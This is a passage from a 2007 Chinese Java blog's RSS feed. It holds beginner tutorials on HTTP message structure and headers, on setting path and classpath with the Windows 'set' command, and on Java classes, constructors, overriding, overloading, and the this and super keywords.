&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 发送第N请求信息&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --------------------------------------------------------------------------&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 客户机&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 回送第1次响应&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 服务器<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;--------------------------------------------------------------------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ..............<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 回应第n次响应<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;--------------------------------------------------------------------------<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 发送关闭连接请求&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --------------------------------------------------------------------------&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 关闭连接&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;--------------------------------------------------------------------------<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>
<p>HTTP/1.1支持持久连接，在一个TCP连接上可以传送多个HTTP请求和响应，减少了建立和关闭连接的消耗和延迟。一个包含有许多图象的网页文件的多个请求和响应可以在一个连接中传输，但每个单独的网页文件的请求和响应仍然需要使用各自的连接，还允许客户端不用等待上一次请求结果返回就可以发送下一个请求。</p>
<p>HTTP消息的格式：<br />
一个完整的请求消息包括：一个请求行、若干消息头、以及实体内容。<br />
一个完整的响应消息包括：一个状态行、若干消息头、以及实体内容。<br />
这在前面已经有过简单的介绍。下面对这几个部分再做个详细的解说：<br />
1.请求行：包括三个部分，即请求方式、资源路径、以及使用的HTTP协议版本。语法如下：请求方式 资源路径 HTTP版本号&lt;CRLF&gt;,其中&lt;CRLF&gt;表示回车和换行这两个字符的组合。HTTP请求方式包括POST、GET、HEAD、OPTIONS、DELETE、TRACE和PUT几种。常用的是前两种。<br />
2.状态行：包括HTTP协议的版本号、一个状态码、以及对状态码进行描述的文本信息。<br />
语法如下：HTTP版本号 状态码 原因叙述&lt;CRLF&gt;</p>
<p>使用GET和POST传递参数：<br />
在URL地址后面可以附加一些参数，每个参数都由参数名和参数值组成，中间用＝分隔，各个参数用&amp;分隔，URL地址和整个参数之间用？分隔，如下所示：<br />
<a href="http://www.it315.org/servlet/ParamsServlet?param1=aaa&amp;param2=bbb">http://www.it315.org/servlet/ParamsServlet?param1=aaa&amp;param2=bbb</a><br />
使用GET传递参数的数据量是有限的，一般限制在1KB以下。使用POST比GET要大的多。是没有限制的。但是必须设置Content=Type消息头为&#8216;application/x-www-form-urlencoded&#8217;和设置Content-Length消息头为实体内容的长度。</p>
<p>响应状态码：<br />
200：表示一切正常，返回的是正常请求结果。<br />
404：表示服务器上不存在客户机上所请求的资源，这个状态码在浏览网页时最常见的。</p>
<p>通用信息头：<br />
Cache-Control：此字段用于通知客户机和服务器之间的代理服务器如何使用已缓存的页面。<br />
Connection：用于指定处理完本次请求/响应后，客户端和服务器是否还要继续保持连接。<br />
Date：用于表示HTTP消息产生的当前时间。<br />
Transfer-Encoding：用于指定实体内容的传输编码方式。</p>
<p>请求头：<br />
Accept：用于指定客户端程序能够处理的MIME类型。有多个时用逗号隔开。<br />
Accept-Charset：指出客户端程序可以使用的字符集。有多个时用逗号隔开。<br />
Accept-Encoding：指定客户机能够进行解码的数据编码方式。有多个时用逗号隔开。<br />
Accept-Language：指定客户机期望服务器返回哪个国家语言的文档。有多个时用逗号隔开。<br />
Host：指定资源所在的主机名和端口号。</p>
<p>响应头：<br />
Accept-Range：用于说明当前WEB服务器是否接受Range请求和Range请求中指定的数据的单位。<br />
Location：用于通知客户机应该到哪个新的地址去获取文档。由于当前响应并没有直接返回内容给客户机，所以使用Location头的HTTP消息不应该有实体内容，由此可见，在消息头中不能同时出现Location和Contect-Type这两个头自段。</p>
<p>实体头：<br />
Allow：用于指定客户机请求的资源所支持的请求方法。<br />
Content-Encoding：用于指定实体内容的压缩编码方式。<br />
Content-Language：用于指定返回的网页文档的国家语言类型。<br />
Content-Length：用于指定实体内容的长度。<br />
Content-Location：用于指定响应消息中所封装的实体内容的实际位置路径。<br />
Content-Type：用于指定实体内容的MIME类型。客户机通过检查服务器响应消息的此字段中的MIME类型就能知道实体内容的数据格式和知道以何种方式来进行处理了。&lt;Tomcat&gt;安装目录下的conf目录下的web.xml文件里面就定义了很多的类型。<br />
Last-Modified：用于指定文档的最后修改时间。</p>
<p>扩展头：<br />
Refresh：此字段告诉浏览器隔多长时间刷新。</p>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/143431.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-09-07 15:33 <a href="http://www.blogjava.net/WshmAndLily/articles/143431.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>命令设置java环境</title><link>http://www.blogjava.net/WshmAndLily/articles/140675.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Tue, 28 Aug 2007 14:09:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/140675.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/140675.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/140675.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/140675.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/140675.html</trackback:ping><description><![CDATA[<p><strong>1．set 命令设置环境变量<br></strong>set 查看系统当前已经定义的环境变量<br>set path (说明:也可以直接打:path)查看path环境变量的值，包括用户变量和系统变量<br>set path=%path%;D:\JDK5.0\bin　设置path环境变量<br>注意：= 号前后不能有空格，因为空格也是个合法字符<br>%path%表示path当前的值<br>set xx=aa&nbsp; 设置一个新的环境变量xx,值为aa<br>set xx=&nbsp; 　删除已经存在的环境变量xx,注意等号右边没有空格<br>set xx = bb 设置一个新的环境变量"xx ",值为" bb"</p>
<p><strong>２．path环境变量的作用</strong></p>
<p>指定操作系统查找命令的路径<br>操作系统依次查找path指定的路径，并以最先找到符合的为准</p>
<p><strong>３．classpath环境变量的作用</strong></p>
<p>指定操作系统查找类的路径<br>操作系统只在classth指定的路径查找该类<br><strong>不会查找当前目录</strong><br>set classpath=E:\Programming\Java　设置classpath的值<br>注意：<br>(１)= 号前后都不能有空格<br>(２)路径包含的目录名中不可以出现空格<br>(３)目录名不能包含中文字符<br>set classpath=E:\Programming\Java;<br>set classpath=E:\Programming\Java;<strong>.</strong>　(注意后面有个分号和点)<br><strong>操作系统同时也在当前目录下查找</strong><br></p>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/140675.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-08-28 22:09 <a href="http://www.blogjava.net/WshmAndLily/articles/140675.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java的类(class)、包(package)和接口(interface)</title><link>http://www.blogjava.net/WshmAndLily/articles/135834.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Fri, 10 Aug 2007 06:35:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/135834.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/135834.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/135834.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/135834.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/135834.html</trackback:ping><description><![CDATA[<div class=postText>在<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>中，类(class)是用来代表对象的基本单元。对象(object)可以是现实世界中的任何一个实体，它具有若干区别于其它对象的属性和操作。而类则通过为对象定义属性和操作来概括一类实体。它封装了一组变量和方法，是生成实例对象时的模板。如一辆汽车可视为一个对象，它既具有型号、颜色、载重等特点，又有完成启动、行驶、刹车等功能。定义汽车类时需要将这些属性都包括进去，通常用数据变量代表型号、颜色、载重等属性特点，用成员方法来实现启动、行驶、刹车等操作功能。可以说类是对象的抽象，对象是类的实例化。<br>　　接口(interface)可看成一个空的抽象的类，只声明了一组类的若干同名变量和方法，而不考虑方法的具体实现。<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>的包(package)中包含一系列相关的类，同一个包中的类可直接互相使用，对包外的类则有一定的使用限制。<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>的包近似于其它语言的函数库，可提供重用的方便。<br>　　在下面各部分的详细介绍中，我们将先给出基本概念，然后结合具体实例阐明<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>的类、接口、包以及封装、继承、重载等有关内容。
<p>&#160;</p>
<p align=left></p>
<p align=center>4.1 <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>的类</p>
<p>　　<strong>4.1.1 类的声明</strong></p>
<p>　　<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>是一种很典型的面向对象的程序设计语言。在面向对象的语言中，世界被看成独立的对象集合，相互间通过消息来通信。因而这种语言以数据对象为中心，而不以处理对象的代码为中心。<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>中的类将数据和有关的操作封装在一起，描述一组具有相同类型的对象，作为构筑程序的基本单位。<br>　　类声明定义的格式为：<br>　　[类修饰符] <a name=baidusnap1></a><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">class类</strong>名 [extends　父类名][implements　接口名] <br>其中类修饰符用于指明类的性质，可缺省。接下来的关键字class指示定义的类的名称，类名最好是唯一的。&#8220;extends 父类名&#8221;通过指出所定义的类的父类名称来表明类间的继承关系，当缺省时意味着所定义类为Object类的子类。&#8220;implements 接口名&#8221;用来指出定义的类实现的接口名称。一个类可以同时实现多个接口。类体则包括一系列数据变量和成员方法的定义声明。下面是一些略去类体的类定义例子：<br>　　public class WelcomeApp <br>　　public class Welcome extends <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.applet.Applet<br>　　public Car extends Automobile implements Runable <br>其中前两个类是我们在上一章的示例中定义的。第三个类是小汽车类Car，它的父类是交通工具类Automobile，它还实现了接口Runnable。<br>　　类修饰符是用以指明类的性质的关键字。基本的类修饰符有三个：<br>　　public，abstract和final<br>　　■public<br>　　如果一个类被声明为public，那么与它不在同一个包中的类也可以通过引用它所在的包来使用这个类；否则这个类就只能被同一个包中的类使用。<br>　　■abstract<br>　　如果一个类被声明为abstract，那么它是一个抽象的类，不能被实例化生成自己的对象，通常只是定义了它的子类共有的一些变量和方法供继承使用。被声明为abstract的抽象类往往包含有被声明为abstract的抽象方法，这些方法由它的非抽象子类完成实现细节。<br>　　■final<br>　　如果一个类被声明为final，意味着它不能再派生出新的子类，不能作为父类被继承。因此一个类不能既被声明为abstract的，又被声明为final的。<br>　　继承是面向对象程序设计中一个强有力的工具，它允许在已存在的类的基础上创建新的类。新创建的类称为其基础类的子类，基础类称为其子类的父类。子类的对象除了具有新定义的属性和方法外，还自动具有其父类定义的部分或全部属性方法。这样程序员可以在子类中重用父类中已定义好的变量和方法，只需对子类中不同于父类或新添加的部分重新定义，这样就节省了大量的时间、空间和精力。<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>在类声明中使用<br>　　extends 父类名<br>的方式定义继承关系。如果不明显地写出继承的父类名，则缺省地认为所声明的类是<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>的Object类的一个子类。Object类是<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>中所有的类的祖先类。我们可以把这种类继承关系想象为一棵倒置的类家族树，Object类就是这棵树的根。</p>
<p>　　<strong>4.1.2 类的组成</strong></p>
<p>　　我们已经知道类是代表对象的，而每一个对象总有特定的状态和行为，在类中分别用变量数据和在数据上可进行的操作表示这些状态和行为。因此类的组成成分是变量和方法。变量和方法的声明格式如下：<br>　　[变量修饰符]　数据类型　变量名[=初值]　;<br>　　[方法修饰符]　返回值类型　方法名(参数表)<br>其中修饰符用来指明变量和方法的特性。变量可一次定义一个或多个，定义时可以给出初值。例如：<br>　　public int a,b=12;<br>　　protected String s="Hot <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>";<br>定义方法时一定要给出返回值类型和参数表。当没有返回值时，返回值类型记为void。参数表的形式为：<br>　　参数类型 参数值{，参数类型 参数值}<br>各参数间以逗号分隔。下面是一些简单的例子：<br>　　public static void main(String args[])<br>　　public void paint(Graphics g)<br>　　public int area(int length,int width){return length * width;}<br>其中前两个是我们在第三章已经见过的方法声明，这里略去了具体语句组成的方法体。第三个则是一个计算长方形面积的简单方法，接受整数类型的长度和宽度参数并返回它们的乘积作为结果。<br>　　变量和方法修饰符是用来指明特性的关键字，主要有以下几种：<br>　　■public<br>　　一个类中被声明为public的变量和方法是&#8220;公开&#8221;的，意味着只要能使用这个类，就可以直接存取这个变量的数据，或直接使用这个方法。<br>　　■protected<br>　　一个类中被声明为protected的变量和方法是&#8220;受限&#8221;的，意味着它们仅能被与该类处于同一个包的类及该类的子类所直接存取和使用。<br>　　■private<br>　　被声明为private的变量和方法是&#8220;私有&#8221;的，除了声明它们的类外，不能被任何其它的类直接存取和使用。<br>　　当变量或方法前不加以上三种修饰符时，被认为取friendly状态，即它们只能被同一个包中的类直接存取和使用。但不存在friendly关键字。<br>　　■static<br>　　被声明为static的变量和方法是属于类而不是属于对象的。不管这个类产生了多少个对象，它们都共享这个类变量或类方法。我们可以在不创建类实例对象时直接使用类变量和类方法。一般来说，在<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>中，引用一个特定的变量或方法的形式是：<br>　　对象名.变量名<br>　　对象名.方法名<br>例如：<br>　　int a=rectangle.length;<br>　　g.drawString("Welcome to <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong> World!");<br>即变量和方法是受限于对象的，但声明为static的变量或方法受限于类，使用形式是<br>　　类名.变量名<br>　　类名.方法名<br>例如：<br>　　System.out.println("Welcome to <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong> World!");<br>　　String s=String.valueOf(123);<br>这里我们并没有创建System类或String类的对象，而直接调用System类的类变量out和String类的类方法valueOf。其中valueOf方法将整形参数转换为String类对象。被声明为static的类方法在使用时有两点要特别注意：<br>　　(1)类方法的方法体中只能使用类中其它同样是static的变量或方法；<br>　　(2)类方法不能被子类修改或重新定义。<br>　　■final<br>　　将变量或方法声明为final，可以保证它们在使用中不被改变。被声明为final的变量必须在声明时给定初值，而在以后的引用中只能读取，不可修改。被声明为final的方法也同样只能使用，不能重载。<br>　　■abstract<br>　　这个修饰符仅适用于方法。被声明为abstract的方法不需要实际的方法体，只要提供方法原型接口，即给出方法的名称、返回值类型和参数表，格式如下：<br>　　abstract　返回值类型　方法名(参数表)；<br>定义了abstract抽象方法的类必须被声明为abstract的抽象类。</p>
<p>　　<strong>4.1.3 构造方法和finalizer</strong></p>
<p>　　<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>中有两个特殊的方法：用于创建对象的构造方法(constructor)和用于撤销对象的方法finalizer，相当于C++中的构造函数和析构函数。构造方法是生成对象时编译器自动调用的方法，用以给出对象中变量的初值。构造方法必须与类同名，而且绝对不允许有返回值，甚至不允许以void来标记无返回值。一个类的构造方法可以有多个，以不同的参数表区分不同的情形，这是<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>多态性的一个体现。下面是一个简单的例子。<br>　　例4.1 Rectangle类的构造方法。<br>　　class Rectangle{<br>　　　protected int width;/*类Rectangle的两个整型变量*/<br>　　　protected int height;/*分代表长方形的长和宽*/<br>　　　/*下面是类Rectangle的三个构造方法*/<br>　　　/*第一个构造方法，无参数，缺省地给出长和宽*/<br>　　　　Rectangle()<br>　　　/*第二个构造方法，给出长、宽参数*/<br>　　　　Rectangle(int w,int h)<br>　　　/*第三个构造方法，给出另一个Rectangle作参数*/<br>　　　　Rectangle(Rectangle r)<br>　　　　{width=r.width();<br>　　　　　height=r.height();<br>　　　　}<br>　　　/*下面是类Rectangle的另外两个方法，分别为取长和宽的值*/<br>　　　　public int width()<br>　　　　　{return width;}<br>　　　　public int height()<br>　　　　　{return height;}<br>　　}<br>　　class Test{<br>　　　Rectangle r1=new Rectangle();/*调用第一个构造方法*/<br>　　　Rectangle r2=new Rectangle(12,20);/*调用第二个构造方法*/<br>　　　Rectangle r3=new Rectangle(r1);/*调用第三个构造方法*/<br>　　}<br>　　在这个例子中Rectangle有三个构造方法，它们的名字相同，参数不同因而采用的调用形式也不同。第一个构造方法不需要任何参数，调用时系统自动地给出统一的固定的长方形的宽和高(这里我们设定为20和30)。第二个构造方法需要两个整形参数，根据用户给出的长方形的宽和高创建长方形对象。第三个构造方法需要一个长方形参数，创建出与这个长方形具有同样的宽和高的长方形对象。在Rectangle类中，width和height都是protected的，不宜直接存取。为了使用方便，我们定义出width()和height()方法来获得一个特定长方形的宽和高，再将取得的数值传递给新创建的对象。像这样在一类中有两个或两个以上同名方法的现象叫Overloading，是多态的一种表现。这样同名方法应该有且必须有不同的参数表，调用时编译系统就是根据参数的匹配情况，包括个数和类型，来决定实际使用哪一个方法的。如果两同名方法的参数表也相同，会造成混淆，编译时将得到出错信息：<br>　　Duplicate method declaration<br>　　(重复的方法声明)<br>　　为了实际创建出对象，我们要使用new。系统执行遇到new，才根据new后面跟随的构造方法名和参数表，选择合适的构造方式，分配内存，创建对象并初始化。一个类若没有显示地定义构造方法，使用new时将调用它的父类的构造方法，这种上溯可一直到达Object类，而Object类的构造方法是语言预先定义好的。<br>　　相对于构造方法，在对象被撤销时调用的方法是finalizer。对所有的类，它的原始定义形式都是一样的：<br>　　void finalize();<br>没有返回值，而且没有任何参数。一般来说，由于<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>的内存管理是由系统自动完成，通常不需要我们重写这个方法，而让它自然而然地从父类(最终也就是从Object类)继承。只有当某些资源需要自动归还时，才需要将这一方法重写。</p>
<p>　　<strong>4.1.4 重写(Overriding)和重载(Overloading)</strong></p>
<p>　　方法的重写Overriding和重载Overloading是<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>多态性的不同表现。前者是父类与子类之间多态性的一种表现，后者是一个类中多态性的一种表现。如果在子类中定义某方法与其父类有相同的名称和参数，我们说该方法被重写(Overriding)。子类的对象使用这个方法时，将调用子类中的定义，对它而言，父类中的定义如同被&#8220;屏蔽&#8221;了。如果在一个类中定义了多个同名的方法，它们或有不同的参数个数或有不同的参数类型，则称为方法的重载(Overloading)。这在例4.1中已经可以看到。下面再给出两个简单的例子，分别显示Overriding和Overloading。<br>　　例4.2 Overriding的例示<br>　　class Father{<br>　　　void speak(){<br>　　　　System.out.println("I am Father!");//父类定义的speak方法<br>　　　}<br>　　}<br>　　class Son extends Father{<br>　　　void speak(){<br>　　　　System.out.println("I am Son!");//子类重写的speak方法<br>　　　}<br>　　}<br>　　public class Check{<br>　　　public static void main(String args[]){<br>　　　　Son x=new Son();<br>　　　　x.speak();//调用子类的speak方法<br>　　　}<br>　　}<br>　　//output of class Check!<br>　　I am Son!<br>　　从这个例子我们可以看到，类Son中的speak()方法重写了其父类Father中一模一样的方法，而它的对象x调用speak()方法的结果是与Son中定义致的。<br>　　例4.3　Overloading例示。<br>　　class Father{<br>　　　void speak(){　　//无参的speak方法<br>　　　　System.out.println("I am Father.");<br>　　　}<br>　　　void speak (String s){　　//有参的speak方法<br>　　　　System.out.println("I like"+s+".");<br>　　　}<br>　　}<br>　　public class Check{<br>　　　public static void main(String args[]){<br>　　　　Father x=new Father();<br>　　　　x.speak();//调用无参的speak方法<br>　　　　x.speak("music");//调用有参的speak方法<br>　　　}<br>　　}<br>　　//out put of class Check<br>　　I am Father<br>　　I like music.<br>　　这个例子中类的Father定义了两个speak方法，在类Check中又两次调用，一次无参，一次有参，打印出两行不同的字符串。注意<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>在打印字符串时，字符串间的连接用符号&#8220;+&#8221;来完成。</p>
<p>　　Overriding是父类与子类之间多态性的一种表现；Overloading是一个类中多态性的一种表现。</p>
<p>　　<strong>4.1.5 几个特殊的变量：null，this和super</strong></p>
<p>　　<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>中有三个特殊的变量：null,this和super，这三个变量是所有的类都可以使用的，用来指示一些特定的对象。<br>　　null相当于&#8220;空&#8221;，可以用来代指任何对象，但没有实例。如<br>　　　　Rectangle r=null;<br>创建了一个Rectangle的变量r，但并没有一个Rectangle的实例对象由r来代表。r就如同一个可放置Rectangle的盒子，只是这个盒子现在是空的。<br>　　this用以指代一个对象自身。它的作用主要是将自己这个对象作为参数，传送给别的对象中的方法。它的使用形式是这样的：<br>　　class Painter{<br>　　　　...<br>　　　　void drawing(Father y){<br>　　　　...<br>　　　　}<br>　　}<br>　　class Father{<br>　　　　...<br>　　　　void draw(Painter x)<br>　　　　{...<br>　　　　　x.drawing(this);/*将自身传递给x的drawing方法*/<br>　　　　　　...<br>　　　　}<br>　　}<br>　　class Test{<br>　　　...<br>　　　Father f=new Father();<br>　　　Painter p=new Painter();<br>　　　f.draw(p);<br>　　　...<br>　　}<br>例中调用Father类的draw方法时，使用语句<br>　　f.draw(p);<br>又Father类中定义draw方法时以this为参数调用了类Painter的drawing方法：<br>　　x.drawing(this);<br>因而实际上调用了Painter类对象p的drawing方法，而将Father类对象f作为参数传递给drawing方法.<br>　　super用来取用父类中的方法和变量数据。它的用法如在下面的例子中所示。<br>　　例4.4在类中使用super的例示。<br>　　/* Check.<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong> */<br>　　class Father{<br>　　　void speak(){<br>　　　　System.out.println("I am Father.");<br>　　　}<br>　　　void speak(String s){<br>　　　　System.out.println("I like "+s+".");<br>　　　}<br>　　}<br>　　class Son extends Father{<br>　　　void speak(){<br>　　　　System.out.println("My father says.");<br>　　　　super.speak();//相当于调用Father类的speak()方法<br>　　　　super.speak("hunting");<br>　　　　　//相当于调用Father类的speak(String s)方法<br>　　　}<br>　　}<br>　　class Check{<br>　　　public static void main(String args[]){<br>　　　　Son s=new Son();<br>　　　　s.speak();<br>　　　}<br>　　}<br>　　//Check.<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>的执行结果：<br>　　My father says:<br>　　I am Fater.<br>　　I like hunting.<br>　　在这个例子中，类Son的speak()方法语句<br>　　super.speak();<br>　　super.speak("hunting");<br>实际调用了Son的父类Father中的speak()和speak(String s)方法，以实现执行结果后两行的输出。使用父类的变量形式也很类似。<br>　　super.变量名<br>　　super和this的另一个重要用途是用在构造方法中。当一个类中不止一个构造方法时，可以用this在一个构造方法中调用中一个构造方法。若想调用父类的构造函数，则直接使用super。例如我们可心如下定义例4.1中类Rectangle的子类ColorRectangle:<br>　　public class ColorRectaqngle extends Rectangle{<br>　　　int color;<br>　　　ColorRectangle(int w,int h,int c){<br>　　　　super(w,h);<br>　　　　color=c;<br>　　　}<br>　　　...<br>　　}<br>　　与父类Rectangle相比，类ColorRectangle增加了color成员变量代表长方形的颜色。在它的构造方法中，用语句<br>　　　　super(w,h);<br>调用了类Rectangle的构造方法<br>　　　　Rectangle(int w,int h);<br>设定长方形的长和宽，然后就只需设定长方形的颜色：<br>　　　　color=c;<br>这样大大提高了代码的重用性。<br></p>
<p align=center>4.2 <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>的包</p>
